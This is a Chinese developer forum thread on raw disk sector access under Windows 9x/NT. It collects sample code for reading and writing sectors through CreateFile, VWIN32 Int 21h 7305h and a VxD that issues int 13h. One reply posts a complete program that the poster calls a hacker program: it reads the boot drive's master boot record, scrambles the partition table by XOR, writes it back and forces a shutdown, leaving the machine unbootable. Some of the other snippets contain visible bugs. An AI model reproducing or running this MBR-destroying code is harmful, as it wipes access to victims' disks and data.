求在FAT32下写硬盘的方法。
解决方案 »
- 关于渐进显示对话框
- 如何计算汉字的笔画数??
- 我在做一个ADO连接数据库的dll,发现合作普通的应用程序不同,有好几个问题?
- 程序很难真正退出,如何解决?
- 这个listctrl问题怎么老没有人回答我??????
- 呜呜,那位大大发个BCGControlBar里的TrayMenu的Sample给小弟吧..
- 谁有有关视频传输的有关资料,多谢
- 谁能教我把《轻轻松松背单词II》中的一个“空格”起作用的键,换成“回车”起作用?
- 离2002年的到来只有不到十个小时了,大家把以前的帖子结掉吧,不用等到明年了……
- 请教摄像的问题
- 关于服务器管理端编程!
- 如何自定义CPropertySheet所生成的向导对话框?
原作者姓名 N/A
文章原始出处 http://www.codeguru.com/system/ReadSector.html
正文
闻怡洋译在NT和2000下,通过CreateFile来打开需要读写的驱动器,ReadFile、WriteFile来进行磁盘读写。下面的代码演示了,如何读写A驱
/* ----------------------------------------------------- Read Floppy Disk Sector for win NT/2000
reads [numsec] sectors from [head] [track] [sector]-------------------------------------------------------*/
char* ReadSectors(int head, int sector, int track, int numsec)
{
// getting logical sector from absolute head/track/sector ...
//计算扇区位置
int LogicalSector = (sector-1) +
(head*SECTORSPERTRACK) +
(track*SECTORSPERTRACK*NUMOFHEADS) ;char *buffer ;
HANDLE hDevice ;
HANDLE hDevice;
char* buffer = (char*)malloc (512*numsec);
strset ( buffer , ' ');
DWORD bytesread ;// getting a handle to the drive a: using
// CreateFile () function ....
//打开驱动器 \\.\A:
hDevice = CreateFile("\\\\.\\A:",
GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL, OPEN_EXISTING, 0, NULL); if (hDevice == NULL)
{
MessageBox ("Failed !");
return NULL;
}
// setting the file pointer to the start of the
// sector we want to read .
//移动文件指针到需要读取位置
SetFilePointer (hDevice,
(LogicalSector*512),
NULL,
FILE_BEGIN);
// reading sector(s) ...
//读数据
if (!ReadFile ( hDevice,
buffer,
512*numsec,
&bytesread,
NULL) )
{
/*
int err;
char error[10];
err=GetLastError ();
itoa (err, error, 10);
MessageBox (error, "Reading sectors ...Failed ");
return NULL ;
*/
}
//关闭
CloseHandle(hDevice); return buffer ;
}http://www.codeguru.com/system/ReadSector_source.zip
正文完
CreateFile(".....",
GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL, OPEN_EXISTING, 0, NULL);
调整权限大概是用AdjustPreviliges之类的函数吧
#define VWIN32_DIOC_DOS_INT26 3
#define VWIN32_DIOC_DOS_DRIVEINFO 6typedef struct _DIOC_REGISTERS {
DWORD reg_EBX;
DWORD reg_EDX;
DWORD reg_ECX;
DWORD reg_EAX;
DWORD reg_EDI;
DWORD reg_ESI;
DWORD reg_Flags;
} DIOC_REGISTERS, *PDIOC_REGISTERS;#define CARRY_FLAG 1#pragma pack(1)
typedef struct _DISKIO {
DWORD dwStartSector; // starting logical sector number
WORD wSectors; // number of sectors
DWORD dwBuffer; // address of read/write buffer
} DISKIO, * PDISKIO;
#pragma pack()///////////////////////////////////////////////////////////////////////////////
// ExtWriteSectors(hDev, bDrive, dwStartSector, wSectors, lpSectBuff)
//
// Purpose:
// Writes the specified number of sectors from a caller-supplied
// buffer. Uses Int 21h function 7305h
//
// Parameters:
// hDev
// Handle of VWIN32
//
// bDrive
// The MS-DOS logical drive number. 0 = default, 1 = A, 2 = B,
// 3 = C, etc.
//
// dwStartSector
// The first sector to write.
//
// wSectors
// The number of sectors to write.
//
// lpSectBuff
// The caller-supplied buffer from which to write.
//
// Return Value:
// Returns TRUE if successful, or FALSE if failure.
//
// Comments:
// This function does not validate its parameters. It assumes that
// lpSectBuff is allocated by the caller and is large enough to
// hold all of the data to be written.
//
BOOL ExtWriteSectors (HANDLE hDev,
BYTE bDrive,
DWORD dwStartSector,
WORD wSectors,
LPBYTE lpSectBuff)
{
BOOL fResult;
DWORD cb;
DIOC_REGISTERS reg = {0};
DISKIO dio; dio.dwStartSector = dwStartSector;
dio.wSectors = wSectors;
dio.dwBuffer = (DWORD)lpSectBuff; reg.reg_EAX = 0x7305; // Ext_ABSDiskReadWrite
reg.reg_EBX = (DWORD)&dio;
reg.reg_ECX = -1;
reg.reg_EDX = bDrive; // Int 21h, fn 7305h drive numbers are 1-based reg.reg_ESI = 0x6001; // Normal file data (See function
// documentation for other values)
fResult = DeviceIoControl(hDev, VWIN32_DIOC_DOS_DRIVEINFO,
®, sizeof(reg),
®, sizeof(reg), &cb, 0); // Determine if the DeviceIoControl call and the write succeeded.
fResult = fResult && !(reg.reg_Flags & CARRY_FLAG); return fResult;
}
0, 0, NULL, 0, FILE_FLAG_DELETE_ON_CLOSE, NULL);
/* -------------------------------------------------------------------------- *
* *
* File Name : main.cpp *
* *
* Purpose : Reads a sector on the disk *
* *
* -------------------------------------------------------------------------- */#include <windows.h>
#include <conio.h>
#include <stdio.h>
#include <tchar.h>
#include <winioctl.h>DWORD min(DWORD i,DWORD j)
{
return i>j?j:i;
}
VOID
__cdecl _tmain(
INT Argc,
PTCHAR Argv[]
)
{
TCHAR szName[MAX_PATH] = { 0 };
HANDLE hDisk;//
// Validate the parameters
//
if (Argc != 3) {_tprintf(_T("Reads a sector on the disk\n\n"));
_tprintf(_T("%s [disk number] [sector]\n"), Argv[0]);
return;
}_sntprintf(szName, sizeof(szName) / sizeof(szName[0]) - 1, _T("\\\\.\\Physicaldrive%d"), _ttoi(Argv[1]));//
// Open a handle to the disk
//
hDisk = CreateFile(szName,
GENERIC_READ,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
NULL,
0);if (hDisk != INVALID_HANDLE_VALUE) {DISK_GEOMETRY diskGeometry;
DWORD dwBytes;//
// Obtain the layout of this disk
//
if (DeviceIoControl(hDisk,
IOCTL_DISK_GET_DRIVE_GEOMETRY,
NULL,
0,
&diskGeometry,
sizeof(DISK_GEOMETRY),
&dwBytes,
NULL)) {DWORD dwSize = diskGeometry.BytesPerSector;
PVOID lpBuffer = new BYTE [dwSize];if (lpBuffer) {PARTITION_INFORMATION partitionInfo;//
// Obtain the size of this disk
//
if (DeviceIoControl(hDisk,
IOCTL_DISK_GET_PARTITION_INFO,
NULL,
0,
&partitionInfo,
sizeof(PARTITION_INFORMATION),
&dwBytes,
NULL)) {LONGLONG sectorCount = partitionInfo.PartitionLength.QuadPart / diskGeometry.BytesPerSector;
LONGLONG nIndex = _ttoi64(Argv[2]);_tprintf(_T("Disk %d has 0x%I64x sectors with 0x%x bytes in every sector\n"), _ttoi(Argv[1]), sectorCount, diskGeometry.BytesPerSector);//
// Read in the requested sector
//
if (nIndex < sectorCount) {LARGE_INTEGER offset;offset.QuadPart = (nIndex) * diskGeometry.BytesPerSector;SetFilePointer(hDisk, offset.LowPart, &offset.HighPart, FILE_BEGIN);if (ReadFile(hDisk, lpBuffer, dwSize, &dwBytes, NULL)) {//
// The dwBytes field holds the number of bytes that were actually read [ <= dwSize ]
//
for (ULONG nOffset = 0; nOffset < dwBytes; nOffset += 0x10) {ULONG nBytes, nIdx;//
// Display the address
//
_tprintf(_T("%011I64x "), (offset.QuadPart) + nOffset);//
// Display the data in hexadecimal
//
nBytes = min(0x10, dwBytes - nOffset);for (nIdx = 0; nIdx < nBytes; nIdx++) {
_tprintf(_T("%02x %s"), ((PUCHAR)lpBuffer)[nOffset + nIdx], ((nIdx + 1) % 0x8) ? _T("") : _T(" "));
}for ( ; nIdx < 0x10; nIdx++) {
_tprintf(_T(" %s"), ((nIdx + 1) % 0x8) ? _T("") : _T(" "));
}//
// Display the data in ascii
//
for (nIdx = 0; nIdx < nBytes; nIdx++) {
_tprintf(_T("%c"), isprint(((PUCHAR)lpBuffer)[nOffset + nIdx]) ? ((PUCHAR)lpBuffer)[nOffset + nIdx] : _T('.'));
}_tprintf(_T("\n"));
}} else {
_tprintf(_T("ReadFile() on sector 0x%I64x failed with error code: %d\n"), nIndex, GetLastError());
}} else {
_tprintf(_T("The requested sector is out-of-bounds\n"));
}} else {
_tprintf(_T("IOCTL_DISK_GET_PARTITION_INFO failed with error code %d\n"), GetLastError());
}delete [] lpBuffer;} else {
_tprintf(_T("Unable to allocate resources, exiting\n"));
}} else {
_tprintf(_T("IOCTL_DISK_GET_DRIVE_GEOMETRY failed with error code %d\n"), GetLastError());
}CloseHandle(hDisk);} else {
_tprintf(_T("CreateFile() on %s failed with error code %d\n"), szName, GetLastError());
}_tprintf(_T("\n"));
return;
}
我是用DDK编的,主要是因为我当时是出于学习。
//这是程序的主要部分,其中有一些宏定义,从字面上就能知道是干什么的,我就不罗嗦
//了
DWORD _stdcall CVXD_W32_DeviceIOControl(LPDIOC lpDIOCParms,
CLIENT_STRUCT *pRegs)
{
DWORD dwRetVal = 0,retu;
DWORD *i;
PVMMCB hVM;
DIOC_REGISTERS *lpReg,*lpOutReg;
CLIENT_STRUCT saveregs;
DWORD PageNum;
WORD PageOff;
DWORD Address;
DWORD V86PageNum,MyPage;
WORD seg,offset;
hVM=Get_Cur_VM_Handle();
i=(DWORD *)(lpDIOCParms->lpvOutBuffer);
lpReg=(DIOC_REGISTERS *)(lpDIOCParms->lpvInBuffer);
lpOutReg=(DIOC_REGISTERS *)(lpDIOCParms->lpvOutBuffer);
switch(lpDIOCParms->dwIoControlCode)
{
.
.
.
case 2:
if(lpDIOCParms->cbInBuffer!=sizeof(DIOC_REGISTERS))
return dwRetVal=-1;
//保存当前虚拟机的寄存器状态
_asm push edi
_asm lea edi,saveregs
VMMCall(Save_Client_State);
_asm pop edi
//输入的参数,具体怎么用看INT13的说明吧
_ClientEAX=lpReg->reg_EAX;
_ClientEDX=lpReg->reg_EDX;
_ClientECX=lpReg->reg_ECX;
_ClientEFlags=lpReg->reg_Flags;
/* 以下这一段是编写这个VxD时要考虑的主要问题:把缓冲区的地址映射入虚拟86的地址
区,Win32中用的都是线性地址,先根据它求出页面号,再把缓冲区所在的页映射到虚拟86区
中去,下面程序中有一个Bug,它没有考虑到缓冲区所占页面大于一页时的情形,事实上,缓
冲区可能处在叶面的边界上,而且它的大小可能超过一页,这些都要根据上面参数中给出
的缓冲区大小计算,当时我嫌麻烦,随便应付了一下.用的时候要把这段代码改一下
*/
PageNum=(lpReg->reg_EBX)>>12;
PageOff=(lpReg->reg_EBX)&0xfff;
_asm{
push 0
push 1
push 10
push hVM
push PageNum
}
VMMCall(_LinMapIntoV86);
_asm add esp,14h
_asm mov retu,eax
_asm mov MyPage,edx //返回的页面号在edx寄存器中
if(retu==0) return 3;//这是我自己胡乱选的错误码,你可以自己定成
//其它值
Address=(MyPage<<12)+PageOff;//计算新的线性地址
seg=LOWORD(Address>>4); //把线性地址转化成传统的段:偏
offset=LOWORD(Address-(seg<<4)); //移量的形式
_ClientAltES=seg;//这里一定不能弄错了,在Win32 Ring3程序中用的
//是_ClientES,而虚拟86方式下用的段寄存器则在
//_ClientAltES中,所以要用它
_ClientBX=offset;
//xixi,好戏开始了
VMMCall(Begin_Nest_V86_Exec);//这一句使得系统转入虚拟86方式
_asm mov eax,13h
VMMCall(Exec_Int);//发出int 13h中断调用
//保存返回值
if(lpDIOCParms->cbOutBuffer==sizeof(DIOC_REGISTERS))
{
lpOutReg->reg_Flags=_ClientEFlags;
lpOutReg->reg_EAX=_ClientEAX;
lpOutReg->reg_EBX=_ClientEBX;
lpOutReg->reg_ECX=_ClientECX;
lpOutReg->reg_EDX=_ClientEDX;
}
End_Nest_Exec();//退出虚拟86方式
//轻轻地我走了,正如我轻轻地来,我挥一挥衣袖,不带走一片云彩
_asm push esi
_asm lea esi,saveregs
VMMCall(Restore_Client_State);
_asm pop esi
//这一段取消原来的映射
VMMCall(_GetNulPageHandle);
_asm mov PageNum,eax
_asm{
push 0
push 0
push 1
push 10
push hVM
push PageNum
}
VMMCall(_MapIntoV86);
_asm add esp,18h
//OK
return dwRetVal=0;
}
return dwRetVal;
}
#include <windows.h>
#include <winioctl.h>//---------------------------------------------------------------------------
void WINAPI ExitWin()
{
HANDLE hProcess, hToken;
TOKEN_PRIVILEGES NewState;
DWORD ProcessId, ReturnLength = 0;
LUID luidPrivilegeLUID;ProcessId = GetCurrentProcessId();
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
OpenProcessToken(hProcess,TOKEN_ADJUST_PRIVILEGES, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &luidPrivilegeLUID);NewState.PrivilegeCount = 1;
NewState.Privileges[0].Luid = luidPrivilegeLUID;
NewState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;if(AdjustTokenPrivileges(hToken, FALSE, &NewState, NULL, NULL, NULL))
ExitWindowsEx(EWX_FORCE|EWX_POWEROFF, 0);
}
void WINAPI KillNT()
{HANDLE hDevice;
TCHAR szDevicename[64];
LPTSTR szBuff;
DISK_GEOMETRY Geometry;
BOOL bRet;
DWORD bytes,bread,count;
int i;char *drive = "0";
wsprintf(szDevicename,"\\\\.\\PHYSICALDRIVE%c",*drive);hDevice = CreateFile( szDevicename,
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);if (hDevice == INVALID_HANDLE_VALUE)
{
MessageBox(NULL,"打开设备出错",NULL,MB_OK);
ExitProcess(0);
}
DeviceIoControl(hDevice,FSCTL_LOCK_VOLUME, NULL,0,NULL,0,&count,NULL);DeviceIoControl(hDevice,IOCTL_DISK_GET_DRIVE_GEOMETRY,NULL,0,&Geometry,sizeof(DISK_GEOMETRY),&count,NULL);szBuff = (LPSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,Geometry.BytesPerSector);if ( szBuff == NULL)
{
MessageBox(NULL,"分配内存出错",NULL,MB_OK);
ExitProcess(0);
}bytes = 512;bRet = ReadFile(hDevice, szBuff, bytes, &bread, NULL);if (bRet==FALSE || bread<512)
{
MessageBox(NULL,"读MBR出错",NULL,MB_OK);
ExitProcess(0);
}
*(szBuff + 0x1be) = 0x80;
*(szBuff + 0x1bf) = 0x00;
*(szBuff + 0x1c2) = 0x05;
for ( i = 0x1c3; i < 510; i++ )
{
*(szBuff + i) ^= 0x926;
}DeviceIoControl(hDevice,FSCTL_UNLOCK_VOLUME, NULL,0,NULL,0,&count,NULL);CloseHandle(hDevice);wsprintf(szDevicename,"\\\\.\\PHYSICALDRIVE%c",*drive);hDevice = CreateFile( szDevicename,
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);if ( hDevice == INVALID_HANDLE_VALUE)
{
MessageBox(NULL,"打开设备出错",NULL,MB_OK);
ExitProcess(0);
}
//这是黑客程序,稍加修改就能在Win98下运行;
DeviceIoControl(hDevice,FSCTL_LOCK_VOLUME, NULL,0,NULL,0,&count,NULL);DeviceIoControl(hDevice,IOCTL_DISK_GET_DRIVE_GEOMETRY,NULL,0,&Geometry,sizeof(DISK_GEOMETRY),&count,NULL);bRet = WriteFile(hDevice,szBuff,bytes,&bread,NULL);if (bRet==FALSE || bread<512)
{
MessageBox(NULL,"写MBR出错",NULL,MB_OK);
ExitProcess(0);
}
DeviceIoControl(hDevice,FSCTL_UNLOCK_VOLUME, NULL,0,NULL,0,&count,NULL);HeapFree(GetProcessHeap(),HEAP_NO_SERIALIZE,szBuff);CloseHandle(hDevice);ExitWin();}
void WINAPI OSVer()
{OSVERSIONINFO osi;osi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);if (GetVersionEx(&osi))
{
if ( osi.dwPlatformId == VER_PLATFORM_WIN32_NT)
KillNT();
}}
WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{OSVer();
return 0;
}
加油啊!
2000/nt下,基本上没有比较可行的方法。
http://expert.csdn.net/Expert/TopicView1.asp?id=107757098下需要利用Vwin32.VXD
9x下写硬盘可以写vxd,取得硬盘设备,调用ios_SendCommand函数,具体的命令记不清了,大概是read,write之类。